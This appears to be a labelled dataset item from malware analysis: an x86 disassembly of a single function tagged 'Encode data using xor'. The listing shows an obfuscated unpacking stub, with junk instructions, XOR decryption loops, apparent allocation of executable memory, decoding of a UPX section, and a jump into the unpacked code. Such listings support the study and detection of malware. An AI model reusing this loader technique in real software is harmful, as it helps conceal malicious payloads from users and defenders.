Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5406308d
sub eax, 0xfb5b1ef5
add eax, ecx
popal
mov ecx, 0xecea67e8
add eax, 0xa7c6a39
inc ecx
mov ebx, 0
mov eax, esi
add edi, 0xe677975f
or edx, edi
or edi, edi
mov ecx, eax
mov edx, 0x5efb0484
or edi, edi
mov esi, ecx
or edx, edx
or edx, edi
inc ebx
mov edx, 0xcfe1e492
sub edi, 0x4d1dcccc
cmp ebx, 0x100452b
jne 0xa789cc
inc edx
not edx
or edi, edx
sub eax, ecx
mov ecx, 0x485b22a5
mov ecx, 0xa78796
mov edx, 0xe0ae4f99
not ebx
mov ebx, 0x6ac0ddfe
mov edi, 0xa7898a
sub ebx, 0xdeced0bc
not edx
inc eax
mov esi, dword [ecx]
add ebx, edx
add ebx, 0xf16d2f5f
dec eax
and esi, 0xff
inc edx
sub eax, 0x1534fbe3
xor dword [edi], esi
sub ebx, edx
dec ebx
inc edi
or eax, edx
or ebx, eax
inc ecx
not edx
add edx, 0xd0422c7a
mov edx, 0xe5590365
cmp edi, entry0
jl 0xa78a2a
or ebx, eax
mov eax, 0xcd9fd3b7
mov ebx, 0xbb1a055f
sub edx, 1
sub edx, 0x70d3fe1e
sub edx, edi
add edx, esi
sub ebx, 0x5123ec84
mov ecx, 0xa7898e
not edi
and esi, edx
mov ecx, dword [ecx]
add edx, edx
not ebx
mov ecx, dword [ecx]
or edx, ebx
not esi
not edi
push ecx
add ebx, edx
mov ebx, 0x7d78ba90
mov ecx, 0xa7898a
mov edi, esi
add esi, esi
mov ecx, dword [ecx]
inc edx
inc edx
mov ecx, dword [ecx]
mov ebx, esi
sub ebx, edx
push 0xa78992
and edi, edx
add esi, edi
not edi
call ecx
not edx
dec edi
pop ecx
sub ebx, 0x30f7c2e9
add esi, esi
not esi
push 0xa7899f
or ebx, esi
mov edi, 0x5110f567
not esi
sub esp, 4
mov dword [esp], eax
inc esi
mov ebx, edi
call ecx
or edi, ebx
sub edi, edx
dec edi
push 0x40
mov esi, edx
add ebx, edi
push 0x3000
or edi, esi
mov ebx, edi
push 0x20000b4f
and ebx, ebx
or edx, ebx
and esi, ebx
sub esp, 4
mov dword [esp], 0
add ebx, 0x5935147
and esi, edx
mov ebx, 0x1178a58
call eax
add edx, esi
mov edx, ebx
add eax, 0x20000aaf
mov edx, 0xcde10635
dec esi
mov ecx, 0x439f512a
mov ebx, edx
add edx, 0xf52e293e
mov dword [eax], ecx
sub esi, 1
sub esi, 1
mov ebx, esi
mov ecx, dword [eax]
add ebx, esi
or ebx, edx
cmp ecx, 0x439f512a
je 0xa78b6b
mov ebx, 0
mov ecx, dword [ebx]
sub ebx, 0x3be45760
sub edx, 0xe08ec3ec
mov esi, ebx
inc esi
or eax, ecx
and ecx, eax
mov esi, section.UPX1
add eax, 0x7df96ce9
mov eax, ecx
add ecx, eax
mov ebx, 0xa78795
inc eax
sub ecx, eax
mov edx, 0
sub eax, ecx
add eax, eax
mov edi, 0xa78796
not ecx
mov eax, 0xcedcbc83
sub ecx, eax
lea edi, [edi + edx]
mov eax, ecx
sub ecx, 0xf693338d
mov edi, dword [edi]
sub eax, ecx
sub eax, 0xfb9f16d
and edi, 0xff
add eax, ecx
and ecx, eax
mov eax, 0xc9f8a3f0
add edx, 1
sub eax, 0xe1926905
inc eax
cmp edx, 0x1f4
jne 0xa78bea
mov edx, 0
add ecx, ecx
dec ecx
inc ecx
add ecx, 0x893c12bb
inc ecx
xor dword [esi], edi
add ecx, 1
inc eax
add esi, 2
not ecx
inc ecx
add ecx, eax
cmp esi, ebx
jl 0xa78b9e
inc eax
add ecx, 0xdd595e90
sub ecx, 0xaa45a0f5
sub eax, ecx
mov edi, section.UPX1
mov esi, ebx
inc ebx
mov ecx, section.UPX1
mov ebx, esi
inc ebx
mov eax, 0xa78795
not ebx
add ebx, esi
inc ebx
mov edx, 0
or esi, ebx
sub esi, 0xeadf3556
mov dl, byte [ecx]
add esi, esi
not ebx
mov byte [edi], dl
not esi
mov ebx, 0xd9baa1c7
add edi, 1
not esi
mov esi, ebx
dec esi
add ecx, 2
inc ebx
and ebx, esi
cmp ecx, eax
jle 0xa78c47
add esi, 0x96f4c7d0
not esi
or ecx, ecx
and eax, eax
inc ecx
push 0x8dc6a0
inc eax
and eax, eax
mov ecx, eax
ret